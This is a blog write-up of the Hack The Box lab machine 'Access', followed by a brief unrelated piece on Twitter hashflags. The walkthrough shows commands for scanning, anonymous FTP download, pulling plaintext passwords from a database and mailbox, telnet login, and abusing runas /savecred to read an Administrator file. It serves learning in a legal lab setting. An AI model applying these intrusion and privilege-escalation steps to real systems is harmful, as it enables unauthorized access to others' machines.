Access: Hack The Box writeup

Access info page

Recently I discoveredHack The Box, an online platform to hone your cyber security skills by practising on vulnerable VMs. The first box I solved is calledAccess. In this blog post I’ll walk through how I solved it. If you don’t want any spoilers, look away now!

Information gathering

Let’s start with annmapscan to see what services are running on the box.

1# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.982...3PORT STATE SERVICE REASON VERSION421/tcp open ftp syn-ack Microsoft ftpd5|ftp-anon: Anonymous FTP login allowed(FTP code 230)6|_Can't get directory listing: TIMEOUT7|ftp-syst:8|_ SYST: Windows_NT923/tcp open telnet syn-ack Microsoft Windows XP telnetd(no more connections allowed)1080/tcp open http syn-ack Microsoft IIS httpd 7.511|http-methods:12|Supported Methods: OPTIONS TRACE GET HEAD POST13|_ Potentially risky methods: TRACE14|_http-server-header: Microsoft-IIS/7.515|_http-title: MegaCorp

nmaphas found three services running: FTP, telnet, and an HTTP server. Let’s see what’s running on the HTTP server.

It’s just a static page, showing an image. Nothing interesting, so let’s move on for now.

Anonymous FTP

nmapshowed that there is an FTP server running, with anonymous login allowed. Let’s see what’s on that server

1# ftp 10.10.10.982Connected to 10.10.10.98.3220Microsoft FTP Service4Name(10.10.10.98:root): anonymous5331Anonymous access allowed, send identity(e-mail name)as password.6Password:7230User logged in.8Remote systemtypeis Windows_NT.9ftp> ls10200PORTcommandsuccessful.11125Data connection already open;Transfer starting.1208-23-18 08:16PM <DIR> Backups1308-24-18 09:00PM <DIR> Engineer14226Transfer complete.15ftp> ls Backups16200PORTcommandsuccessful.17125Data connection already open;Transfer starting.1808-23-18 08:16PM5652480backup.mdb19226Transfer complete.20ftp> ls Engineer21200PORTcommandsuccessful.22125Data connection already open;Transfer starting.2308-24-18 12:16AM10870Access Control.zip24226Transfer complete.

There are some interesting files here, let’s download them and analyse them

1# wget ftp://anonymous:anonymous@10.10.10.98 --no-passive-ftp --mirror2--2019-02-02 15:37:26-- ftp://anonymous:*password*@10.10.10.98/3=> ‘10.10.10.98/.listing’4Connecting to 10.10.10.98:21... connected.5Logging in as anonymous ... Logged in!6...7FINISHED --2019-02-02 15:37:28--8Total wall clock time: 1.8s9Downloaded:5files, 5.4M in 1.4s(3.99 MB/s)

Microsoft Access

We’ve got a.mdbfile—which is a Microsoft Access database file—and a zip file. If we take a quick look at the zip file it’s password protected. We’ll have to come back the that later.

We can examinebackup.mdbusing MDB tools. Maybe there’s something we can use there.

1# mdb-tables Backups/backup.mdb2acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

It looks like there’s a lot of autogenerated tables here, but thoseauth_*tables look interesting.

1# mdb-export Backups/backup.mdb auth_user2id,username,password,Status,last_login,RoleID,Remark325,"admin","admin",1,"08/23/18 21:11:47",26,427,"engineer","access4u@security",1,"08/23/18 21:13:36",26,528,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Awesome! So we’ve got some credentials forengineer, and we’ve got a password protected zip file in theEngineerdirectory.

Microsoft Outlook

1# 7z x Access\ Control.zip237-Zip[64]16.02 : Copyright(c)1999-2016 Igor Pavlov : 2016-05-214p7zip Version 16.02(locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R)Core(TM)i7-7820HQ CPU @ 2.90GHz(906E9),ASM,AES-NI)56Scanning the driveforarchives:71file,10870bytes(11KiB)89Extracting archive: Access Control.zip10--11Path=Access Control.zip12Type=zip13PhysicalSize=10870141516Enter password(will not be echoed):17Everything is Ok1819Size:27136020Compressed:108702122# ls23'Access Control.pst''Access Control.zip'

That worked! Now we’ve got the mailbox backup for the engineer, but we first need to convert it to something that we can read more easily on Linux.

1# readpst Access\ Control.pst2Opening PST file and indexes...3Processing Folder"Deleted Items"4"Access Control"-2itemsdone,0items skipped.

Let’s take a peek at the engineer’s mailbox

1# mail -f Access\ Control.mbox2mail version v14.9.11. Type`?' for help3'/root/10.10.10.98/Engineer/Access Control.mbox': 1 message4▸O 1 john@megacorp.com 2018-08-23 23:44 87/3112 MegaCorp Access Control System "security" account5?6[-- Message 1 -- 87 lines, 3112 bytes --]:7From "john@megacorp.com" Thu Aug 23 23:44:07 20188From: john@megacorp.com <john@megacorp.com>9Subject: MegaCorp Access Control System "security" account10To: 'security@accesscontrolsystems.com'11Date: Thu,23Aug201823:44:07 +00001213[--#1.1 73/2670 multipart/alternative --]14151617[--#1.1.1 15/211 text/plain, 7bit, utf-8 --]1819Hi there,20212223The passwordforthe “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is pass24ed on to your engineers.25262728Regards,2930John31323334[--#1.1.2 51/2211 text/html, 7bit, us-ascii --]35?

Another set of credentials! I wonder what these are used for? Let’s try FTP first

1# ftp 10.10.10.982Connected to 10.10.10.98.3220Microsoft FTP Service4Name(10.10.10.98:jamie): security5331Password requiredforsecurity.6Password:7530User cannot log in.8ftp: Login failed.

No dice ☹. The only other option istelnet.

Telnet

1# telnet 10.10.10.982Trying 10.10.10.98...3Connected to 10.10.10.98.4Escape character is'^]'.5Welcome to Microsoft Telnet Service67login: security8password:910*===============================================================11Microsoft Telnet Server.12*===============================================================13C:\Users\security>

We’re in! Theuser.txtshould be located onsecurity’s Desktop

1C:\Users\security>dir2Volumeindrive C has no label.3Volume Serial Number is 9C45-DBF045Directory of C:\Users\security6702/02/201903:56PM<DIR>.802/02/201903:56PM<DIR>..908/24/201807:37PM<DIR>.yawcam1008/21/201810:35PM<DIR>Contacts1108/28/201806:51AM<DIR>Desktop1208/21/201810:35PM<DIR>Documents1308/21/201810:35PM<DIR>Downloads1408/21/201810:35PM<DIR>Favorites1508/21/201810:35PM<DIR>Links1608/21/201810:35PM<DIR>Music1708/21/201810:35PM<DIR>Pictures1808/21/201810:35PM<DIR>Saved Games1908/21/201810:35PM<DIR>Searches2008/24/201807:39PM<DIR>Videos211File(s)964,179bytes2214Dir(s)16,745,127,936bytes free2324C:\Users\security>cdDesktop2526C:\Users\security\Desktop>dir27Volumeindrive C has no label.28Volume Serial Number is 9C45-DBF02930Directory of C:\Users\security\Desktop313208/28/201806:51AM<DIR>.3308/28/201806:51AM<DIR>..3408/21/201810:37PM32user.txt351File(s)32bytes362Dir(s)16,744,726,528bytes free3738C:\Users\security\Desktop>more user.txt39<SNIP>

Privilege escalation

Now that we’ve got the first flag, we need to escalate torootaccess—or more specificallyAdministratoron Windows.

The.yawcamdirectory looks out of the ordinary.

1dir.yawcam2Volumeindrive C has no label.3Volume Serial Number is 9C45-DBF045Directory of C:\Users\security\.yawcam6708/24/201807:37PM<DIR>.808/24/201807:37PM<DIR>..908/23/201810:52PM<DIR>21008/22/201806:49AM0banlist.dat1108/23/201810:52PM<DIR>extravars1208/22/201806:49AM<DIR>img1308/23/201810:52PM<DIR>logs1408/22/201806:49AM<DIR>motion1508/22/201806:49AM0pass.dat1608/23/201810:52PM<DIR>stream1708/23/201810:52PM<DIR>tmp1808/23/201810:34PM82ver.dat1908/23/201810:52PM<DIR>www2008/24/201807:37PM1,411yawcam_settings.xml214File(s)1,493bytes2210Dir(s)16,764,841,984bytes free

However poking around in there proved fruitless. Maybe there’s a way to use this, but I couldn’t figure anything out.

Let’s keep looking

1C:\Users\security>cd../23C:\Users>dir4Volumeindrive C has no label.5Volume Serial Number is 9C45-DBF067Directory of C:\Users8902/02/201904:15PM<DIR>.1002/02/201904:15PM<DIR>..1108/23/201811:46PM<DIR>Administrator1202/02/201904:15PM<DIR>engineer1302/02/201904:14PM<DIR>Public1402/02/201904:16PM<DIR>security150File(s)0bytes166Dir(s)16,754,778,112bytes free

Maybe one of the other users has something interesting we can use?

1C:\Users>cdengineer2Access is denied.

I didn’t really expect that to work anyway

1C:\Users>cdPublic23C:\Users\Public>dir4Volumeindrive C has no label.5Volume Serial Number is 9C45-DBF067Directory of C:\Users\Public8902/02/201904:14PM<DIR>.1002/02/201904:14PM<DIR>..1107/14/200905:06AM<DIR>Documents1207/14/200904:57AM<DIR>Downloads1307/14/200904:57AM<DIR>Music1407/14/200904:57AM<DIR>Pictures1507/14/200904:57AM<DIR>Videos161File(s)964,179bytes177Dir(s)16,723,468,288bytes free

Wait a minute, we’re missing some of the standard Windows directories. Let’s have a closer look.

12C:\Users\Public>dir/A3Volumeindrive C has no label.4Volume Serial Number is 9C45-DBF056Directory of C:\Users\Public7802/02/201904:14PM<DIR>.902/02/201904:14PM<DIR>..1008/28/201806:51AM<DIR>Desktop1107/14/200904:57AM174desktop.ini1207/14/200905:06AM<DIR>Documents1307/14/200904:57AM<DIR>Downloads1407/14/200902:34AM<DIR>Favorites1507/14/200904:57AM<DIR>Libraries1607/14/200904:57AM<DIR>Music1707/14/200904:57AM<DIR>Pictures1807/14/200904:57AM<DIR>Videos192File(s)964,353bytes2010Dir(s)16,717,438,976bytes free

Desktop has a much more recent modification date than everything else

1C:\Users\Public>cdDesktop23C:\Users\Public\Desktop>dir4Volumeindrive C has no label.5Volume Serial Number is 9C45-DBF067Directory of C:\Users\Public\Desktop8908/22/201809:18PM1,870ZKAccess3.5 Security System.lnk101File(s)1,870bytes110Dir(s)16,711,475,200bytes free

That’s because there’s a shortcut there.

Now, I’m not sure of the best way to view a.lnkoncmd.exeviatelnet, but this is what I came up with. If anyone knows of a better way, please let me know!

1C:\Users\Public\Desktop>type"ZKAccess3.5 Security System.lnk"2L�F�@��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows��:��M�:*wWindowsV1MV�System32��:��MV�*�System32X2P�:�3runas.exe��:1��:1�*Yrunas.exeL-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�4�wN���]N�D.��Q���`�Xaccess�_���8{E�35O�j)�H���6)ΰ[�_���8{E�37O�j)�H���8)ΰ[���1SPS�XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500

It’s a bit difficult to read, but it looks like the shortcut runs a program as theAdministratorusing saved credentials. We can use that.

1C:\Users\Public\Desktop>runas/user:Administrator/savecred"cmd.exe /c more C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\Desktop\output.txt"

Did it work?

1C:\Users\Public\Desktop>more output.txt2<SNIP>

Yes! From there we could generate a reverse shell usingmsfvenomand run that asAdministrator, but I’ve got the flag so I’ll leave it there for now.

Twitter Hashflags (Hash-what?)

Have you ever tweeted out a hastag, and discovered a small image attached to the side of it? It could be for#StPatricksDay,#MarchForOurLives, or whatever#白白白白白白白白白白is meant to be. These are hashflags.

A hashflag, sometimes called Twitter emoji, is a small image that appears after a #hashtag for special events. They are not regular emoji, and you can only use them on the Twitter website, or the official Twitter apps.

If you’re a company, andyou have enough money, you can buy your own hashflag as well! That’s exactly what Disney did for the release of Star Wars: The Last Jedi.